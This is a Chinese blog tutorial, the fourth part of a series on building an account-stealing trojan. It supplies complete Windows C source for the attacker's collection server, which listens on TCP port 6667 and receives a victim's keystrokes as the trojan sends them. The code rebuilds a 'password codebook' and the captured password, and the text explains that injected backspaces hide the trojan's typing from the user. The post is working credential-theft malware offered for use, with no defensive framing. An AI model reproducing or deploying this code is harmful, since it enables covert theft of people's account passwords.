当前位置: 代码迷 >> 综合 >> 盗号木马之旅(四)
  详细解决方案

盗号木马之旅(四)

热度:24   发布时间:2023-10-28 18:43:15.0

目标:

       实现服务端的代码编写,用于接受木马发回的消息。


实现:

     由于这一篇实现任务比较简单,我就讲一下密码的消息接收,账号类似。由于密码一开始我们需要接受密码本,所以我们需要区分一下发来的是密码本还是未翻译的密码。由于为了方便我们只模拟10个数字,所以一共20个字符(加上对应的BackSpace,因为不想让用户看出为何密码框平白无故多出10字符,所以我们需要删除)。之后就是简单的字符接收就OK了O(∩_∩)O

     代码如下:

#define WIN32_LEAN_AND_MEAN
#include<windows.h>
#include<Winsock2.h>
#include<stdio.h>
#pragma comment(lib,"Ws2_32.lib")//用于消息定位输出
void gotoxy(int x, int y) {COORD pos = { x,y };HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);// 获取标准输出设备句柄SetConsoleCursorPosition(hOut, pos);//两个参数分别是指定哪个窗体,具体位置
}void main() {WSADATA wsaData;int state = 0;if (WSAStartup(MAKEWORD(2, 2), &wsaData)) {printf("套接字初始化失败!\n");}SOCKET serviceSocket = socket(AF_INET, SOCK_STREAM, 0);if (serviceSocket == INVALID_SOCKET) {printf("创建套接字失败!\n");}SOCKADDR_IN socketAddService;socketAddService.sin_family = AF_INET;socketAddService.sin_port = htons(6667);socketAddService.sin_addr.S_un.S_addr = htonl(INADDR_ANY);state = bind(serviceSocket, (LPSOCKADDR)&socketAddService, sizeof(SOCKADDR_IN));if (state == SOCKET_ERROR) {printf("账号绑定失败!\n");}state = listen(serviceSocket, 1);if (state == SOCKET_ERROR) {printf("开启监听失败!\n");}SOCKADDR_IN socketAddClient;int iSocketLen = sizeof(SOCKADDR_IN);char cBuffer[40] = {0};int index = 0;printf("监听密码中..........\n");printf("密码翻译本:");int num = 0;while (1){SOCKET clientSocket = accept(serviceSocket, (LPSOCKADDR)&socketAddClient, &iSocketLen);int iRec = recv(clientSocket, &cBuffer[index], 1, 0);//接受数据if (num < 20) {//20是因为10个字符和10和Backspaceif ((int)cBuffer[index] == 8&&index>0) {//不接受BackSpacecBuffer[index] = 0;}else{index++;}gotoxy(11, 1);printf("%s", cBuffer);//输出密码本if (num == 19) {printf("\n未翻译密码:");index = 0;memset(cBuffer, 0, 40);}}else{if ((int)cBuffer[index] == 8&&index>0) {//接受未翻译密码index--;cBuffer[index] = 0;}else{index++;}gotoxy(11, 2);printf("%s", cBuffer);}num++;if (iRec == 0||iRec==SOCKET_ERROR) {printf("断开连接\n");break;}}closesocket(serviceSocket);WSACleanup();system("pause");
}


本篇结语:

     本篇很简单,没什么要讲的。

 

                                                                                 下一篇

  相关解决方案